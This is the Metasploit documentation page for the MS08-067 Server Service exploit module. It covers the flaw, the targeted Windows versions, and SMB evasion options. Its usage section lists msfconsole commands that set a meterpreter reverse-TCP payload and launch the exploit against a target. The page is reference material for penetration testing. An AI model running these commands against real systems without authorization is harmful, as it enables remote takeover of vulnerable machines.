Metasploit Penetration Testing Framework


OSVDB: CVE:
BID: MSB:
TEXT:


Microsoft Server Service Relative Path Stack Corruption

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.

Rank

  • Great

Authors

  • hdm < hdm [at] metasploit.com >
  • Brett Moore < brett.moore [at] insomniasec.com >

References

Exploit Targets

  • 0 - Automatic Targeting (default)
  • 1 - Windows 2000 Universal
  • 2 - Windows XP SP0/SP1 Universal
  • 3 - Windows XP SP2 English (NX)
  • 4 - Windows XP SP3 English (NX)
  • 5 - Windows 2003 SP0 Universal
  • 6 - Windows 2003 SP1 English (NO NX)
  • 7 - Windows 2003 SP1 English (NX)
  • 8 - Windows 2003 SP1 Japanese (NO NX)
  • 9 - Windows 2003 SP2 English (NO NX)
  • 10 - Windows 2003 SP2 English (NX)
  • 11 - Windows 2003 SP2 German (NO NX)
  • 12 - Windows 2003 SP2 German (NX)
  • 13 - Windows XP SP2 Arabic (NX)
  • 14 - Windows XP SP2 Chinese - Traditional / Taiwan (NX)
  • 15 - Windows XP SP2 Chinese - Simplified (NX)
  • 16 - Windows XP SP2 Chinese - Traditional (NX)
  • 17 - Windows XP SP2 Czech (NX)
  • 18 - Windows XP SP2 Danish (NX)
  • 19 - Windows XP SP2 German (NX)
  • 20 - Windows XP SP2 Greek (NX)
  • 21 - Windows XP SP2 Spanish (NX)
  • 22 - Windows XP SP2 Finnish (NX)
  • 23 - Windows XP SP2 French (NX)
  • 24 - Windows XP SP2 Hebrew (NX)
  • 25 - Windows XP SP2 Hungarian (NX)
  • 26 - Windows XP SP2 Italian (NX)
  • 27 - Windows XP SP2 Japanese (NX)
  • 28 - Windows XP SP2 Korean (NX)
  • 29 - Windows XP SP2 Dutch (NX)
  • 30 - Windows XP SP2 Norwegian (NX)
  • 31 - Windows XP SP2 Polish (NX)
  • 32 - Windows XP SP2 Portuguese - Brazilian (NX)
  • 33 - Windows XP SP2 Portuguese (NX)
  • 34 - Windows XP SP2 Russian (NX)
  • 35 - Windows XP SP2 Swedish (NX)
  • 36 - Windows XP SP2 Turkish (NX)
  • 37 - Windows XP SP3 Arabic (NX)
  • 38 - Windows XP SP3 Chinese - Traditional / Taiwan (NX)
  • 39 - Windows XP SP3 Chinese - Simplified (NX)
  • 40 - Windows XP SP3 Chinese - Traditional (NX)
  • 41 - Windows XP SP3 Czech (NX)
  • 42 - Windows XP SP3 Danish (NX)
  • 43 - Windows XP SP3 German (NX)
  • 44 - Windows XP SP3 Greek (NX)
  • 45 - Windows XP SP3 Spanish (NX)
  • 46 - Windows XP SP3 Finnish (NX)
  • 47 - Windows XP SP3 French (NX)
  • 48 - Windows XP SP3 Hebrew (NX)
  • 49 - Windows XP SP3 Hungarian (NX)
  • 50 - Windows XP SP3 Italian (NX)
  • 51 - Windows XP SP3 Japanese (NX)
  • 52 - Windows XP SP3 Korean (NX)
  • 53 - Windows XP SP3 Dutch (NX)
  • 54 - Windows XP SP3 Norwegian (NX)
  • 55 - Windows XP SP3 Polish (NX)
  • 56 - Windows XP SP3 Portuguese - Brazilian (NX)
  • 57 - Windows XP SP3 Portuguese (NX)
  • 58 - Windows XP SP3 Russian (NX)
  • 59 - Windows XP SP3 Swedish (NX)
  • 60 - Windows XP SP3 Turkish (NX)

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST [MY IP ADDRESS]
msf exploit(ms08_067_netapi) > set RHOST [TARGET IP]
msf exploit(ms08_067_netapi) > exploit

Module Options

RHOST The target address
RPORT Set the SMB service port (default: 445)
SMBPIPE The pipe name to use (BROWSER, SRVSVC) (default: BROWSER)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DCERPC::ReadTimeout The number of seconds to wait for DCERPC responses
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SMBDirect The target port is a raw SMB service (not NetBIOS)
SMBDomain The Windows domain to use for authentication
SMBName The NetBIOS hostname (required for port 139 connections)
SMBPass The password for the specified username
SMBUser The username to authenticate as
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
DCERPC::fake_bind_multi Use multi-context bind calls
DCERPC::fake_bind_multi_append Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio Use a different delivery method for accessing named pipes (accepted: rw, trans)
SMB::obscure_trans_pipe_level Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level Place extra padding between headers and data (level 0-3)
SMB::pad_file_level Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size Maximum buffer size for pipe reads
SMB::pipe_read_min_size Minimum buffer size for pipe reads
SMB::pipe_write_max_size Maximum buffer size for pipe writes
SMB::pipe_write_min_size Minimum buffer size for pipe writes
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)
Copyright © 2003-2010 Rapid7 LLC
Rapid7 Privacy Statement